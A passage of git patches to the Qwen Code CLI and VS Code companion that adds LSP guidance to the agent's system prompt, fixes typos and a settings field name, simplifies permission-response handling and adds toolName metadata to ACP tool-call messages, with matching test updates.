The user can use '/help' to display help information. @@ -3348,6 +3530,19 @@ IMPORTANT: Always use the todo_write tool to plan and track tasks throughout the - **Subagent Delegation:** When doing file search, prefer to use the 'task' tool in order to reduce context usage. You should proactively use the 'task' tool with specialized agents when the task at hand matches the agent's description. - **Remembering Facts:** Use the 'save_memory' tool to remember specific, *user-related* facts or preferences when the user explicitly asks, or when they state a clear, concise piece of information that would help personalize or streamline *your future interactions with them* (e.g., preferred coding style, common project paths they use, personal tool aliases). This tool is for user-specific information that should persist across sessions. Do *not* use it for general project context or information. If unsure whether to save something, you can ask the user, "Should I remember that for you?" - **Respect User Confirmations:** Most tool calls (also denoted as 'function calls') will first require confirmation from the user, where they will either approve or cancel the function call. If a user cancels a function call, respect their choice and do _not_ try to make the function call again. It is okay to request the tool call again _only_ if the user requests that same tool call on a subsequent prompt. When a user cancels a function call, assume best intentions from the user and consider inquiring if they prefer any alternative paths forward. +- **LSP (Language Server Protocol):** When the 'lsp' tool is available, you MUST use it as the PRIMARY tool for code intelligence queries. Do NOT use 'grep_search' or 'glob' first - go directly to LSP. Supported operations: + - goToDefinition: Find where a symbol is defined (requires filePath, line, character) + - findReferences: Find all references to a symbol (requires filePath, line, character) + - hover: Get hover information (documentation, type info) for a symbol (requires filePath, line, character) + - documentSymbol: Get all symbols (functions, classes, variables) in a document (requires filePath only) + - workspaceSymbol: Search for symbols across the entire workspace (requires query only, NOT filePath/line/character) + - goToImplementation: Find implementations of an interface or abstract method (requires filePath, line, character) + - prepareCallHierarchy: Get call hierarchy item at a position (requires filePath, line, character) + - incomingCalls: Find all functions/methods that call the given function (requires callHierarchyItem) + - outgoingCalls: Find all functions/methods called by the given function (requires callHierarchyItem) + - diagnostics: Get errors/warnings for a file (requires filePath only) + - workspaceDiagnostics: Get all errors/warnings across the workspace (no parameters required) + IMPORTANT: When user asks "where is X defined?" without specifying a file, use workspaceSymbol with query="X" directly! ## Interaction Details - **Help Command:** The user can use '/help' to display help information. diff --git a/packages/core/src/tools/lsp.test.ts b/packages/core/src/tools/lsp.test.ts index 74b5c4067..a74f5453c 100644 --- a/packages/core/src/tools/lsp.test.ts +++ b/packages/core/src/tools/lsp.test.ts @@ -951,6 +951,9 @@ describe('LspTool', () => { 'prepareCallHierarchy', 'incomingCalls', 'outgoingCalls', + 'diagnostics', + 'workspaceDiagnostics', + 'codeActions', ]; expect(schema.properties?.operation?.enum).toEqual(expectedOperations); }); @@ -986,7 +989,14 @@ describe('LspTool', () => { const properties = Object.keys(schema.properties ?? {}); // Our extensions beyond Claude Code - const extensionProperties = ['serverName', 'limit']; + const extensionProperties = [ + 'serverName', + 'limit', + 'endLine', + 'endCharacter', + 'diagnostics', + 'codeActionKinds', + ]; // All properties should be either core or documented extensions const knownProperties = [ From f640705e4d132e40b96e3a7914019bb2a95da458 Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Mon, 26 Jan 2026 10:00:33 +0800 Subject: [PATCH 34/79] fix typo error --- docs/users/extension/introduction.md | 4 ++-- packages/cli/package.json | 2 +- packages/core/src/extension/extensionManager.ts | 2 +- packages/core/src/extension/marketplace.ts | 8 ++++++-- 4 files changed, 10 insertions(+), 6 deletions(-) diff --git a/docs/users/extension/introduction.md b/docs/users/extension/introduction.md index a0f39d957..1d7160768 100644 --- a/docs/users/extension/introduction.md +++ b/docs/users/extension/introduction.md @@ -2,7 +2,7 @@ Qwen Code extensions package prompts, MCP servers, subagents, skills and custom commands into a familiar and user-friendly format. With extensions, you can expand the capabilities of Qwen Code and share those capabilities with others. They are designed to be easily installable and shareable. -Extensions and plugins from [Gemini CLI Extensions Gallery](https://geminicli.com/extensions/) and [Claude Code Marketplace](https://claudemarketplaces.com/) can be directly installed into Qwen Code.This cross-platform compatibility gives you access to a rich ecosystem of extensions and plugins, dramatically expanding Qwen Code's capabilities without requiring extension authors to maintain separate versions. +Extensions and plugins from [Gemini CLI Extensions Gallery](https://geminicli.com/extensions/) and [Claude Code Marketplace](https://claudemarketplaces.com/) can be directly installed into Qwen Code. This cross-platform compatibility gives you access to a rich ecosystem of extensions and plugins, dramatically expanding Qwen Code's capabilities without requiring extension authors to maintain separate versions. ## Extension management @@ -42,7 +42,7 @@ qwen extensions install qwen extensions install ``` -If you want to install a specific pulgin, you can use the format with plugin name: +If you want to install a specific plugin, you can use the format with plugin name: ```bash qwen extensions install : diff --git a/packages/cli/package.json b/packages/cli/package.json index 4136e600f..8c198fc61 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -40,7 +40,6 @@ "@iarna/toml": "^2.2.5", "@modelcontextprotocol/sdk": "^1.25.1", "@qwen-code/qwen-code-core": "file:../core", - "@types/prompts": "^2.4.9", "@types/update-notifier": "^6.0.8", "ansi-regex": "^6.2.2", "command-exists": "^1.2.9", @@ -86,6 +85,7 @@ "@types/semver": "^7.7.0", "@types/shell-quote": "^1.7.5", "@types/yargs": "^17.0.32", + "@types/prompts": "^2.4.9", "archiver": "^7.0.1", "ink-testing-library": "^4.0.0", "jsdom": "^26.1.0", diff --git a/packages/core/src/extension/extensionManager.ts b/packages/core/src/extension/extensionManager.ts index bd618b411..921d34739 100644 --- a/packages/core/src/extension/extensionManager.ts +++ b/packages/core/src/extension/extensionManager.ts @@ -690,7 +690,7 @@ export class ExtensionManager { if (!config.name) { throw new Error( - `Invalid configuration in ${configFilePath}: missing "name"}`, + `Invalid configuration in ${configFilePath}: missing "name"`, ); } validateName(config.name); diff --git a/packages/core/src/extension/marketplace.ts b/packages/core/src/extension/marketplace.ts index 20b7736ef..dec525579 100644 --- a/packages/core/src/extension/marketplace.ts +++ b/packages/core/src/extension/marketplace.ts @@ -239,8 +239,12 @@ export async function parseInstallSource( }; // Try to fetch marketplace config from GitHub - const [owner, repoName] = repo.split('/'); - marketplaceConfig = await fetchGitHubMarketplaceConfig(owner, repoName); + try { + const [owner, repoName] = repo.split('/'); + marketplaceConfig = await fetchGitHubMarketplaceConfig(owner, repoName); + } catch { + // Not a valid GitHub URL or failed to fetch, continue without marketplace config + } } else { // Local path try { From 0eee42fa6a7d1fbbb57deb48ebfca7d227dbdfd2 Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Mon, 26 Jan 2026 15:09:36 +0800 Subject: [PATCH 35/79] fix: correct schema field name for context.loadFromIncludeDirectories The schema incorrectly defined the field as 'loadMemoryFromIncludeDirectories' while the migration map and documentation specified 'loadFromIncludeDirectories'. This caused user configurations to be ignored. Changes: - Rename schema field from loadMemoryFromIncludeDirectories to loadFromIncludeDirectories - Update all references in config loading and UI components - Update test cases to reflect the correct field name Fixes #1603 --- packages/cli/src/config/config.ts | 2 +- packages/cli/src/config/settingsSchema.test.ts | 16 +++++++--------- packages/cli/src/config/settingsSchema.ts | 2 +- packages/cli/src/ui/AppContainer.tsx | 2 +- .../src/ui/components/SettingsDialog.test.tsx | 6 +++--- 5 files changed, 13 insertions(+), 15 deletions(-) diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 402b331ed..eadc35c27 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -932,7 +932,7 @@ export async function loadCliConfig( targetDir: cwd, includeDirectories, loadMemoryFromIncludeDirectories: - settings.context?.loadMemoryFromIncludeDirectories || false, + settings.context?.loadFromIncludeDirectories || false, importFormat: settings.context?.importFormat || 'tree', debugMode, question, diff --git a/packages/cli/src/config/settingsSchema.test.ts b/packages/cli/src/config/settingsSchema.test.ts index adbc162b5..7d97d5465 100644 --- a/packages/cli/src/config/settingsSchema.test.ts +++ b/packages/cli/src/config/settingsSchema.test.ts @@ -218,14 +218,14 @@ describe('SettingsSchema', () => { }, context: { includeDirectories: ['/path/to/dir'], - loadMemoryFromIncludeDirectories: true, + loadFromIncludeDirectories: true, }, }; // TypeScript should not complain about these properties expect(settings.ui?.theme).toBe('dark'); expect(settings.context?.includeDirectories).toEqual(['/path/to/dir']); - expect(settings.context?.loadMemoryFromIncludeDirectories).toBe(true); + expect(settings.context?.loadFromIncludeDirectories).toBe(true); }); it('should have includeDirectories setting in schema', () => { @@ -243,21 +243,19 @@ describe('SettingsSchema', () => { ).toEqual([]); }); - it('should have loadMemoryFromIncludeDirectories setting in schema', () => { + it('should have loadFromIncludeDirectories setting in schema', () => { expect( - getSettingsSchema().context?.properties - .loadMemoryFromIncludeDirectories, + getSettingsSchema().context?.properties.loadFromIncludeDirectories, ).toBeDefined(); expect( - getSettingsSchema().context?.properties.loadMemoryFromIncludeDirectories - .type, + getSettingsSchema().context?.properties.loadFromIncludeDirectories.type, ).toBe('boolean'); expect( - getSettingsSchema().context?.properties.loadMemoryFromIncludeDirectories + getSettingsSchema().context?.properties.loadFromIncludeDirectories .category, ).toBe('Context'); expect( - getSettingsSchema().context?.properties.loadMemoryFromIncludeDirectories + getSettingsSchema().context?.properties.loadFromIncludeDirectories .default, ).toBe(false); }); diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index f5669cd87..2e9d1cf94 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -687,7 +687,7 @@ const SETTINGS_SCHEMA = { showInDialog: false, mergeStrategy: MergeStrategy.CONCAT, }, - loadMemoryFromIncludeDirectories: { + loadFromIncludeDirectories: { type: 'boolean', label: 'Load Memory From Include Directories', category: 'Context', diff --git a/packages/cli/src/ui/AppContainer.tsx b/packages/cli/src/ui/AppContainer.tsx index 91f580ebf..84a8c4e82 100644 --- a/packages/cli/src/ui/AppContainer.tsx +++ b/packages/cli/src/ui/AppContainer.tsx @@ -623,7 +623,7 @@ export const AppContainer = (props: AppContainerProps) => { try { const { memoryContent, fileCount } = await loadHierarchicalGeminiMemory( process.cwd(), - settings.merged.context?.loadMemoryFromIncludeDirectories + settings.merged.context?.loadFromIncludeDirectories ? config.getWorkspaceContext().getDirectories() : [], config.getDebugMode(), diff --git a/packages/cli/src/ui/components/SettingsDialog.test.tsx b/packages/cli/src/ui/components/SettingsDialog.test.tsx index 6a2c75995..e640effa6 100644 --- a/packages/cli/src/ui/components/SettingsDialog.test.tsx +++ b/packages/cli/src/ui/components/SettingsDialog.test.tsx @@ -1368,7 +1368,7 @@ describe('SettingsDialog', () => { enabled: true, }, context: { - loadMemoryFromIncludeDirectories: true, + loadFromIncludeDirectories: true, fileFiltering: { respectGitIgnore: true, respectQwenIgnore: true, @@ -1540,7 +1540,7 @@ describe('SettingsDialog', () => { enableRecursiveFileSearch: false, disableFuzzySearch: true, }, - loadMemoryFromIncludeDirectories: true, + loadFromIncludeDirectories: true, }, }); const onSelect = vi.fn(); @@ -1605,7 +1605,7 @@ describe('SettingsDialog', () => { enabled: false, }, context: { - loadMemoryFromIncludeDirectories: false, + loadFromIncludeDirectories: false, fileFiltering: { respectGitIgnore: false, respectQwenIgnore: false, From 066c393cd79151ed7e47d52ff7d9960eb94cbc89 Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Mon, 26 Jan 2026 15:12:28 +0800 Subject: [PATCH 36/79] fix folder trust --- packages/core/src/config/config.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/src/config/config.ts b/packages/core/src/config/config.ts index eb6993d85..4dced82b7 100644 --- a/packages/core/src/config/config.ts +++ b/packages/core/src/config/config.ts @@ -712,7 +712,7 @@ export class Config { this.getDebugMode(), this.getFileService(), this.getExtensionContextFilePaths(), - this.getFolderTrust(), + this.isTrustedFolder(), this.getImportFormat(), ); this.setUserMemory(memoryContent); From 26dca01c317f08105215017204fb4c085343c87f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=98=93=E8=89=AF?= <1204183885@qq.com> Date: Mon, 26 Jan 2026 17:15:38 +0800 Subject: [PATCH 37/79] Simplify permission response handling and fix edit failure and VSCode diff issues (#1581) * wip: edit fail and diff * refactor(vscode-ide-companion): Fixes #1524, simplify permission response handling Co-authored-by: Qwen-Coder --------- Co-authored-by: Qwen-Coder --- .../src/types/webviewMessageTypes.ts | 14 +++ .../vscode-ide-companion/src/webview/App.tsx | 1 + .../src/webview/MessageHandler.ts | 3 +- .../src/webview/WebViewProvider.ts | 18 ++-- .../PermissionDrawer/PermissionDrawer.tsx | 87 ++----------------- .../src/webview/handlers/MessageRouter.ts | 9 +- 6 files changed, 39 insertions(+), 93 deletions(-) create mode 100644 packages/vscode-ide-companion/src/types/webviewMessageTypes.ts diff --git a/packages/vscode-ide-companion/src/types/webviewMessageTypes.ts b/packages/vscode-ide-companion/src/types/webviewMessageTypes.ts new file mode 100644 index 000000000..f17f68170 --- /dev/null +++ b/packages/vscode-ide-companion/src/types/webviewMessageTypes.ts @@ -0,0 +1,14 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +export interface PermissionResponsePayload { + optionId: string; +} + +export interface PermissionResponseMessage { + type: string; + data: PermissionResponsePayload; +} diff --git a/packages/vscode-ide-companion/src/webview/App.tsx b/packages/vscode-ide-companion/src/webview/App.tsx index 4286cd44e..c9d31ef5e 100644 --- a/packages/vscode-ide-companion/src/webview/App.tsx +++ b/packages/vscode-ide-companion/src/webview/App.tsx @@ -431,6 +431,7 @@ export const App: React.FC = () => { type: 'permissionResponse', data: { optionId }, }); + setPermissionRequest(null); }, [vscode], diff --git a/packages/vscode-ide-companion/src/webview/MessageHandler.ts b/packages/vscode-ide-companion/src/webview/MessageHandler.ts index 77d330b6b..30b9abe56 100644 --- a/packages/vscode-ide-companion/src/webview/MessageHandler.ts +++ b/packages/vscode-ide-companion/src/webview/MessageHandler.ts @@ -6,6 +6,7 @@ import type { QwenAgentManager } from '../services/qwenAgentManager.js'; import type { ConversationStore } from '../services/conversationStore.js'; +import type { PermissionResponseMessage } from '../types/webviewMessageTypes.js'; import { MessageRouter } from './handlers/MessageRouter.js'; /** @@ -55,7 +56,7 @@ export class MessageHandler { * Set permission handler */ setPermissionHandler( - handler: (message: { type: string; data: { optionId: string } }) => void, + handler: (message: PermissionResponseMessage) => void, ): void { this.router.setPermissionHandler(handler); } diff --git a/packages/vscode-ide-companion/src/webview/WebViewProvider.ts b/packages/vscode-ide-companion/src/webview/WebViewProvider.ts index 5aa92c0fb..394b5ade8 100644 --- a/packages/vscode-ide-companion/src/webview/WebViewProvider.ts +++ b/packages/vscode-ide-companion/src/webview/WebViewProvider.ts @@ -8,6 +8,7 @@ import * as vscode from 'vscode'; import { QwenAgentManager } from '../services/qwenAgentManager.js'; import { ConversationStore } from '../services/conversationStore.js'; import type { AcpPermissionRequest } from '../types/acpTypes.js'; +import type { PermissionResponseMessage } from '../types/webviewMessageTypes.js'; import { PanelManager } from '../webview/PanelManager.js'; import { MessageHandler } from '../webview/MessageHandler.js'; import { WebViewContent } from '../webview/WebViewContent.js'; @@ -251,10 +252,7 @@ export class WebViewProvider { } } }; - const handler = (message: { - type: string; - data: { optionId: string }; - }) => { + const handler = (message: PermissionResponseMessage) => { if (message.type !== 'permissionResponse') { return; } @@ -270,6 +268,16 @@ export class WebViewProvider { optionId.toLowerCase().includes('reject'); if (isCancel) { + // Close any open qwen-diff editors first + try { + void vscode.commands.executeCommand('qwen.diff.closeAll'); + } catch (err) { + console.warn( + '[WebViewProvider] Failed to close diffs after reject:', + err, + ); + } + // Fire and forget – do not block the ACP resolve (async () => { try { @@ -296,7 +304,6 @@ export class WebViewProvider { const title = (request.toolCall as { title?: string } | undefined) ?.title || ''; - // Normalize kind for UI – fall back to 'execute' let kind = (( request.toolCall as { kind?: string } | undefined )?.kind || 'execute') as string; @@ -319,7 +326,6 @@ export class WebViewProvider { title, kind, status: 'failed', - // Best-effort pass-through (used by UI hints) rawInput: (request.toolCall as { rawInput?: unknown }) ?.rawInput, locations: ( diff --git a/packages/vscode-ide-companion/src/webview/components/PermissionDrawer/PermissionDrawer.tsx b/packages/vscode-ide-companion/src/webview/components/PermissionDrawer/PermissionDrawer.tsx index 00e5bccaa..ee733bfde 100644 --- a/packages/vscode-ide-companion/src/webview/components/PermissionDrawer/PermissionDrawer.tsx +++ b/packages/vscode-ide-companion/src/webview/components/PermissionDrawer/PermissionDrawer.tsx @@ -24,10 +24,7 @@ export const PermissionDrawer: React.FC = ({ onClose, }) => { const [focusedIndex, setFocusedIndex] = useState(0); - const [customMessage, setCustomMessage] = useState(''); const containerRef = useRef(null); - // Correct the ref type for custom input to HTMLInputElement to avoid subsequent forced casting - const customInputRef = useRef(null); console.log('PermissionDrawer rendered with isOpen:', isOpen, toolCall); // Prefer file name from locations, fall back to content[].path if present @@ -94,10 +91,7 @@ export const PermissionDrawer: React.FC = ({ // Number keys 1-9 for quick select const numMatch = e.key.match(/^[1-9]$/); - if ( - numMatch && - !customInputRef.current?.contains(document.activeElement) - ) { + if (numMatch) { const index = parseInt(e.key, 10) - 1; if (index < options.length) { e.preventDefault(); @@ -109,7 +103,10 @@ export const PermissionDrawer: React.FC = ({ // Arrow keys for navigation if (e.key === 'ArrowDown' || e.key === 'ArrowUp') { e.preventDefault(); - const totalItems = options.length + 1; // +1 for custom input + if (options.length === 0) { + return; + } + const totalItems = options.length; if (e.key === 'ArrowDown') { setFocusedIndex((prev) => (prev + 1) % totalItems); } else { @@ -118,10 +115,7 @@ export const PermissionDrawer: React.FC = ({ } // Enter to select - if ( - e.key === 'Enter' && - !customInputRef.current?.contains(document.activeElement) - ) { + if (e.key === 'Enter') { e.preventDefault(); if (focusedIndex < options.length) { onResponse(options[focusedIndex].optionId); @@ -234,28 +228,6 @@ export const PermissionDrawer: React.FC = ({ ); })} - - {/* Custom message input (extracted component) */} - {(() => { - const isFocused = focusedIndex === options.length; - const rejectOptionId = options.find((o) => - o.kind.includes('reject'), - )?.optionId; - return ( - setFocusedIndex(options.length)} - onSubmitReject={() => { - if (rejectOptionId) { - onResponse(rejectOptionId); - } - }} - inputRef={customInputRef} - /> - ); - })()}
@@ -263,50 +235,3 @@ export const PermissionDrawer: React.FC = ({
); }; - -/** - * CustomMessageInputRow: Reusable custom input row component (without hooks) - */ -interface CustomMessageInputRowProps { - isFocused: boolean; - customMessage: string; - setCustomMessage: (val: string) => void; - onFocusRow: () => void; // Set focus when mouse enters or input box is focused - onSubmitReject: () => void; // Triggered when Enter is pressed (selecting reject option) - inputRef: React.RefObject; -} - -const CustomMessageInputRow: React.FC = ({ - isFocused, - customMessage, - setCustomMessage, - onFocusRow, - onSubmitReject, - inputRef, -}) => ( -
inputRef.current?.focus()} - > - | undefined} - type="text" - placeholder="Tell Qwen what to do instead" - spellCheck={false} - className="flex-1 bg-transparent border-0 outline-none text-sm placeholder:opacity-70" - style={{ color: 'var(--app-input-foreground)' }} - value={customMessage} - onChange={(e) => setCustomMessage(e.target.value)} - onFocus={onFocusRow} - onKeyDown={(e) => { - if (e.key === 'Enter' && !e.shiftKey && customMessage.trim()) { - e.preventDefault(); - onSubmitReject(); - } - }} - /> -
-); diff --git a/packages/vscode-ide-companion/src/webview/handlers/MessageRouter.ts b/packages/vscode-ide-companion/src/webview/handlers/MessageRouter.ts index 353dbaaf7..de23fb1e5 100644 --- a/packages/vscode-ide-companion/src/webview/handlers/MessageRouter.ts +++ b/packages/vscode-ide-companion/src/webview/handlers/MessageRouter.ts @@ -7,6 +7,7 @@ import type { IMessageHandler } from './BaseMessageHandler.js'; import type { QwenAgentManager } from '../../services/qwenAgentManager.js'; import type { ConversationStore } from '../../services/conversationStore.js'; +import type { PermissionResponseMessage } from '../../types/webviewMessageTypes.js'; import { SessionMessageHandler } from './SessionMessageHandler.js'; import { FileMessageHandler } from './FileMessageHandler.js'; import { EditorMessageHandler } from './EditorMessageHandler.js'; @@ -22,7 +23,7 @@ export class MessageRouter { private authHandler: AuthMessageHandler; private currentConversationId: string | null = null; private permissionHandler: - | ((message: { type: string; data: { optionId: string } }) => void) + | ((message: PermissionResponseMessage) => void) | null = null; constructor( @@ -80,9 +81,7 @@ export class MessageRouter { // Handle permission response specially if (message.type === 'permissionResponse') { if (this.permissionHandler) { - this.permissionHandler( - message as { type: string; data: { optionId: string } }, - ); + this.permissionHandler(message as PermissionResponseMessage); } return; } @@ -131,7 +130,7 @@ export class MessageRouter { * Set permission handler */ setPermissionHandler( - handler: (message: { type: string; data: { optionId: string } }) => void, + handler: (message: PermissionResponseMessage) => void, ): void { this.permissionHandler = handler; } From 1dcda0559b1ae00ee9d464bfb9cd6d8200bb4886 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Mon, 26 Jan 2026 19:21:22 +0800 Subject: [PATCH 38/79] fix(cli): pass paths to read_many_files in ACP ACP prompt resolution called read_many_files with an outdated param name, triggering a schema validation error. Pass paths and add a regression test. Fixes #1354 --- .../acp-integration/session/Session.test.ts | 77 +++++++++++++++++++ .../src/acp-integration/session/Session.ts | 2 +- 2 files changed, 78 insertions(+), 1 deletion(-) diff --git a/packages/cli/src/acp-integration/session/Session.test.ts b/packages/cli/src/acp-integration/session/Session.test.ts index af98fe25c..5f37e1103 100644 --- a/packages/cli/src/acp-integration/session/Session.test.ts +++ b/packages/cli/src/acp-integration/session/Session.test.ts @@ -5,6 +5,9 @@ */ import { describe, it, expect, vi, beforeEach } from 'vitest'; +import * as fs from 'node:fs/promises'; +import * as os from 'node:os'; +import * as path from 'node:path'; import { Session } from './Session.js'; import type { Config, GeminiChat } from '@qwen-code/qwen-code-core'; import { ApprovalMode } from '@qwen-code/qwen-code-core'; @@ -38,10 +41,27 @@ describe('Session', () => { addHistory: vi.fn(), } as unknown as GeminiChat; + const toolRegistry = { getTool: vi.fn() }; + const fileService = { shouldGitIgnoreFile: vi.fn().mockReturnValue(false) }; + mockConfig = { setApprovalMode: vi.fn(), setModel: setModelSpy, getModel: vi.fn().mockImplementation(() => currentModel), + getSessionId: vi.fn().mockReturnValue('test-session-id'), + getTelemetryLogPromptsEnabled: vi.fn().mockReturnValue(false), + getUsageStatisticsEnabled: vi.fn().mockReturnValue(false), + getContentGeneratorConfig: vi.fn().mockReturnValue(undefined), + getChatRecordingService: vi.fn().mockReturnValue({ + recordUserMessage: vi.fn(), + recordUiTelemetryEvent: vi.fn(), + }), + getToolRegistry: vi.fn().mockReturnValue(toolRegistry), + getFileService: vi.fn().mockReturnValue(fileService), + getFileFilteringRespectGitIgnore: vi.fn().mockReturnValue(true), + getEnableRecursiveFileSearch: vi.fn().mockReturnValue(false), + getTargetDir: vi.fn().mockReturnValue(process.cwd()), + getDebugMode: vi.fn().mockReturnValue(false), } as unknown as Config; mockClient = { @@ -171,4 +191,61 @@ describe('Session', () => { consoleErrorSpy.mockRestore(); }); }); + + describe('prompt', () => { + it('passes resolved paths to read_many_files tool', async () => { + const tempDir = await fs.mkdtemp( + path.join(os.tmpdir(), 'qwen-acp-session-'), + ); + const fileName = 'README.md'; + const filePath = path.join(tempDir, fileName); + + try { + await fs.writeFile(filePath, '# Test\n', 'utf8'); + + const readManyFilesTool = { + buildAndExecute: vi.fn().mockResolvedValue({ + llmContent: 'file content', + returnDisplay: 'ok', + }), + }; + const toolRegistry = { + getTool: vi.fn((name: string) => + name === 'read_many_files' ? readManyFilesTool : undefined, + ), + }; + const fileService = { + shouldGitIgnoreFile: vi.fn().mockReturnValue(false), + }; + + mockConfig.getTargetDir = vi.fn().mockReturnValue(tempDir); + mockConfig.getToolRegistry = vi.fn().mockReturnValue(toolRegistry); + mockConfig.getFileService = vi.fn().mockReturnValue(fileService); + mockChat.sendMessageStream = vi + .fn() + .mockResolvedValue((async function* () {})()); + + const promptRequest: acp.PromptRequest = { + sessionId: 'test-session-id', + prompt: [ + { type: 'text', text: 'Check this file' }, + { + type: 'resource_link', + name: fileName, + uri: `file://${fileName}`, + }, + ], + }; + + await session.prompt(promptRequest); + + expect(readManyFilesTool.buildAndExecute).toHaveBeenCalledWith( + { paths: [fileName] }, + expect.any(AbortSignal), + ); + } finally { + await fs.rm(tempDir, { recursive: true, force: true }); + } + }); + }); }); diff --git a/packages/cli/src/acp-integration/session/Session.ts b/packages/cli/src/acp-integration/session/Session.ts index 5348d78df..bee78afad 100644 --- a/packages/cli/src/acp-integration/session/Session.ts +++ b/packages/cli/src/acp-integration/session/Session.ts @@ -979,7 +979,7 @@ export class Session implements SessionContext { if (pathSpecsToRead.length > 0) { const readResult = await readManyFilesTool.buildAndExecute( { - paths_with_line_ranges: pathSpecsToRead, + paths: pathSpecsToRead, }, abortSignal, ); From 4a3cb4f875d6c47200a317f482f56b3c0eb65d19 Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Mon, 26 Jan 2026 19:51:54 +0800 Subject: [PATCH 39/79] fix: add name toolName metadata for ACP tool call messages --- packages/cli/src/acp-integration/schema.ts | 3 +++ .../session/HistoryReplayer.test.ts | 2 ++ .../cli/src/acp-integration/session/Session.ts | 6 +++++- .../session/emitters/ToolCallEmitter.test.ts | 17 ++++++++++++++++- .../session/emitters/ToolCallEmitter.ts | 9 ++++++++- 5 files changed, 34 insertions(+), 3 deletions(-) diff --git a/packages/cli/src/acp-integration/schema.ts b/packages/cli/src/acp-integration/schema.ts index 4278f0dd4..e25239485 100644 --- a/packages/cli/src/acp-integration/schema.ts +++ b/packages/cli/src/acp-integration/schema.ts @@ -366,6 +366,7 @@ export type Usage = z.infer; export const sessionUpdateMetaSchema = z.object({ usage: usageSchema.optional().nullable(), durationMs: z.number().optional().nullable(), + toolName: z.string().optional().nullable(), }); export type SessionUpdateMeta = z.infer; @@ -573,6 +574,7 @@ export const sessionUpdateSchema = z.union([ kind: toolKindSchema, locations: z.array(toolCallLocationSchema).optional(), rawInput: z.unknown().optional(), + _meta: sessionUpdateMetaSchema.optional().nullable(), sessionUpdate: z.literal('tool_call'), status: toolCallStatusSchema, title: z.string(), @@ -584,6 +586,7 @@ export const sessionUpdateSchema = z.union([ locations: z.array(toolCallLocationSchema).optional().nullable(), rawInput: z.unknown().optional(), rawOutput: z.unknown().optional(), + _meta: sessionUpdateMetaSchema.optional().nullable(), sessionUpdate: z.literal('tool_call_update'), status: toolCallStatusSchema.optional().nullable(), title: z.string().optional().nullable(), diff --git a/packages/cli/src/acp-integration/session/HistoryReplayer.test.ts b/packages/cli/src/acp-integration/session/HistoryReplayer.test.ts index c9cf65fb8..ef750f539 100644 --- a/packages/cli/src/acp-integration/session/HistoryReplayer.test.ts +++ b/packages/cli/src/acp-integration/session/HistoryReplayer.test.ts @@ -228,6 +228,7 @@ describe('HistoryReplayer', () => { status: 'in_progress', title: 'read_file', rawInput: { path: '/test.ts' }, + _meta: { toolName: 'read_file' }, }), ); }); @@ -280,6 +281,7 @@ describe('HistoryReplayer', () => { ], // resultDisplay is included as rawOutput rawOutput: 'File contents here', + _meta: { toolName: 'read_file' }, }); }); diff --git a/packages/cli/src/acp-integration/session/Session.ts b/packages/cli/src/acp-integration/session/Session.ts index 5348d78df..0ee4f8581 100644 --- a/packages/cli/src/acp-integration/session/Session.ts +++ b/packages/cli/src/acp-integration/session/Session.ts @@ -647,7 +647,11 @@ export class Session implements SessionContext { const error = e instanceof Error ? e : new Error(String(e)); // Use ToolCallEmitter for error handling - await this.toolCallEmitter.emitError(callId, error); + await this.toolCallEmitter.emitError( + callId, + fc.name ?? 'unknown_tool', + error, + ); // Record tool error for session management const errorParts = [ diff --git a/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.test.ts b/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.test.ts index 4616b8592..9bfeb4fcb 100644 --- a/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.test.ts +++ b/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.test.ts @@ -77,6 +77,7 @@ describe('ToolCallEmitter', () => { locations: [], kind: 'other', rawInput: { arg1: 'value1' }, + _meta: { toolName: 'unknown_tool' }, }); }); @@ -100,6 +101,7 @@ describe('ToolCallEmitter', () => { locations: [{ path: '/test/file.ts', line: 10 }], kind: 'edit', rawInput: { path: '/test.ts' }, + _meta: { toolName: 'edit_file' }, }); }); @@ -123,6 +125,7 @@ describe('ToolCallEmitter', () => { expect(sendUpdateSpy).toHaveBeenCalledWith( expect.objectContaining({ rawInput: {}, + _meta: { toolName: 'test_tool' }, }), ); }); @@ -150,6 +153,7 @@ describe('ToolCallEmitter', () => { locations: [], // Fallback to empty kind: 'other', // Fallback to other rawInput: { invalid: true }, + _meta: { toolName: 'failing_tool' }, }); }); }); @@ -170,6 +174,7 @@ describe('ToolCallEmitter', () => { toolCallId: 'call-123', status: 'completed', rawOutput: 'Tool completed successfully', + _meta: { toolName: 'test_tool' }, }), ); }); @@ -193,6 +198,7 @@ describe('ToolCallEmitter', () => { content: { type: 'text', text: 'Something went wrong' }, }, ], + _meta: { toolName: 'test_tool' }, }); }); @@ -222,6 +228,7 @@ describe('ToolCallEmitter', () => { newText: 'new content', }, ], + _meta: { toolName: 'edit_file' }, }), ); }); @@ -247,6 +254,7 @@ describe('ToolCallEmitter', () => { }, ], rawOutput: 'raw output', + _meta: { toolName: 'test_tool' }, }), ); }); @@ -264,6 +272,7 @@ describe('ToolCallEmitter', () => { toolCallId: 'call-empty', status: 'completed', content: [], + _meta: { toolName: 'test_tool' }, }); }); @@ -343,7 +352,7 @@ describe('ToolCallEmitter', () => { it('should emit tool_call_update with failed status and error message', async () => { const error = new Error('Connection timeout'); - await emitter.emitError('call-123', error); + await emitter.emitError('call-123', 'test_tool', error); expect(sendUpdateSpy).toHaveBeenCalledWith({ sessionUpdate: 'tool_call_update', @@ -355,6 +364,7 @@ describe('ToolCallEmitter', () => { content: { type: 'text', text: 'Connection timeout' }, }, ], + _meta: { toolName: 'test_tool' }, }); }); }); @@ -498,6 +508,7 @@ describe('ToolCallEmitter', () => { }, ], rawOutput: { unknownField: 'value', nested: { data: 123 } }, + _meta: 